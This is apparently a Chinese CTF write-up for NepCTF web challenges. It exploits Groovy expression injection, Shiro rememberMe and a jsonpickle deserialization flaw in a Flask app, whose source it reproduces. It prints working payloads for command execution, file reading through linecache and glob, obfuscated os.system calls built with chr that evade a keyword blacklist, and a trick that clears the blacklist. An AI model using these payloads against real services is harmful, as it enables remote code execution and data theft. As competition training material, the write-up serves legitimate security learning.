本文最后更新于 29 天前,其中的信息可能已经有所发展或是发生改变。
web
easyGooGooVVVY
描述
高松灯是一名java安全初学者,最近她在看groovy表达式注入。。。
搜文章去看了groovy表达式注入,没利用成功
可以打反射或者命令注入
def pb = new ProcessBuilder('printenv')
def proc = pb.start()
proc.waitFor()
def stream = proc.getInputStream()
def scanner = new Scanner(stream)
def content = scanner.useDelimiter('\\Z').next()
scanner.close()
content
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text
RevengeGooGooVVVY
上题的payload可以直接用
def pb = new ProcessBuilder('printenv')
def proc = pb.start()
proc.waitFor()
def stream = proc.getInputStream()
def scanner = new Scanner(stream)
def content = scanner.useDelimiter('\\Z').next()
scanner.close()
content
JavaSeri
路由带上login.jsp
看到rememberMe
还是Shiro
工具一把梭爆破密钥和利用链
flag在环境变量
safe_bank
正常伪造admin身份进去查看安全保险库是假flag
题目给了提示
请多关注JsonPickle的源码实现。
看关于我们
先知社区有文章
我们可以看到有这个
先构造去读取源码
{
"py/object": "app.Session",
"meta": {
"user": {"py/object":"linecache.getlines","py/newargsex":[{"py/set":["/app/app.py"]},""]},
"ts": 1753471621
}
}
ewogICJweS9vYmplY3QiOiAiYXBwLlNlc3Npb24iLAogICJtZXRhIjogewogICAgInVzZXIiOiB7InB5L29iamVjdCI6ImxpbmVjYWNoZS5nZXRsaW5lcyIsInB5L25ld2FyZ3NleCI6W3sicHkvc2V0IjpbIi9hcHAvYXBwLnB5Il19LCIiXX0sCiAgICAidHMiOiAxNzUzNDcxNjIxCiAgfQp9Cg==
整理一下
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time
app = Flask(__name__)
app.secret_key = os.urandom(24)
class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd
class Session:
def __init__(self, meta):
self.meta = meta
users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]
def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"
@app.route('/')
def root():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")
if password != confirm_password:
return render_template('register.html', error="密码不匹配。")
if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")
return render_template('register.html')
@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")
@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))
try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")
ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")
try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))
return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")
@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))
try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))
@app.route('/about')
def about():
return render_template('about.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
再利用glob去列一下目录
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1753446254}}
可以看到/readflag
我们需要RCE去读,但是黑名单过滤的太多了
看到强网S8决赛的文章最后新型绕过进行RCE的payload
{"py/object":"builtins.bytes", "py/newargs":{"py/object": "builtins.map", "py/newargs" : [{"py/function": "builtins.exec"}, ["print(123)"]]}}
可以看出是利用map去调用内置的函数去实现RCE
map中的函数触发是需要被类用才能触发,比如bytes,list类接受迭代器参数初始化的时候
我们来构造一下。将flag外带
但是builtins
被waf了,我们需要进行修改,注意题目的黑名单是过滤的关键字,所以我们这里可以用__builtins__
去绕过,然后命令可以选择利用编码绕过或者利用chr函数
{"py/object": "app.Session", "meta": {"user": {"py/object": "__builtin__.bytes", "py/newargs": {"py/object": "__builtin__.map", "py/newargs": [{"py/function": "__builtin__.eval"}, ["exec(import os;os.system('/readflag>/app/sun.txt'))"]]}}, "ts": 1753971621}}
{"py/object": "app.Session", "meta": {"user": {"py/object": "__builtin__.bytes", "py/newargs": {"py/object": "__builtin__.map", "py/newargs": [{"py/function": "__builtin__.eval"}, ["exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(102)+chr(108)+chr(97)+chr(103)+chr(62)+chr(47)+chr(97)+chr(112)+chr(112)+chr(47)+chr(115)+chr(117)+chr(110)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41))"]]}}, "ts": 1753971621}}
eyJweS9vYmplY3QiOiAiYXBwLlNlc3Npb24iLCAibWV0YSI6IHsidXNlciI6IHsicHkvb2JqZWN0IjogIl9fYnVpbHRpbl9fLmJ5dGVzIiwgInB5L25ld2FyZ3MiOiB7InB5L29iamVjdCI6ICJfX2J1aWx0aW5fXy5tYXAiLCAicHkvbmV3YXJncyI6IFt7InB5L2Z1bmN0aW9uIjogIl9fYnVpbHRpbl9fLmV2YWwifSwgWyJleGVjKGNocigxMDUpK2NocigxMDkpK2NocigxMTIpK2NocigxMTEpK2NocigxMTQpK2NocigxMTYpK2NocigzMikrY2hyKDExMSkrY2hyKDExNSkrY2hyKDU5KStjaHIoMTExKStjaHIoMTE1KStjaHIoNDYpK2NocigxMTUpK2NocigxMjEpK2NocigxMTUpK2NocigxMTYpK2NocigxMDEpK2NocigxMDkpK2Nocig0MCkrY2hyKDM5KStjaHIoNDcpK2NocigxMTQpK2NocigxMDEpK2Nocig5NykrY2hyKDEwMCkrY2hyKDEwMikrY2hyKDEwOCkrY2hyKDk3KStjaHIoMTAzKStjaHIoNjIpK2Nocig0NykrY2hyKDk3KStjaHIoMTEyKStjaHIoMTEyKStjaHIoNDcpK2NocigxMTUpK2NocigxMTcpK2NocigxMTApK2Nocig0NikrY2hyKDExNikrY2hyKDEyMCkrY2hyKDExNikrY2hyKDM5KStjaHIoNDEpKSJdXX19LCAidHMiOiAxNzUzOTcxNjIxfX0=
这样flag就写入到sun.txt
了,我们再用原来的payload去读,得到flag
{
"py/object": "app.Session",
"meta": {
"user": {"py/object":"linecache.getlines","py/newargsex":[{"py/set":["/app/sun.txt"]},""]},
"ts": 1753471621
}
}
看了其他师傅的wp,发现还可以利用list.clean
去扬黑名单
list.clear()
方法会移除列表中的所有元素,使其变为空列表。这是清空列表最清晰和最有效的方法
my_list = [1, 2, 3, 4, 5]
my_list.clear()
print(my_list)
# 输出: []
也就是说可以让FORBIDDEN
赋值为空
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
这样利用黑名单就没了,接下来我们就可以大胆去操作了
碎碎念
这题出的确实很好啊,我也学到了很多,准备开个文章好好研究jsonpickle
这种审计源码去找理由的题目真的很值得去探索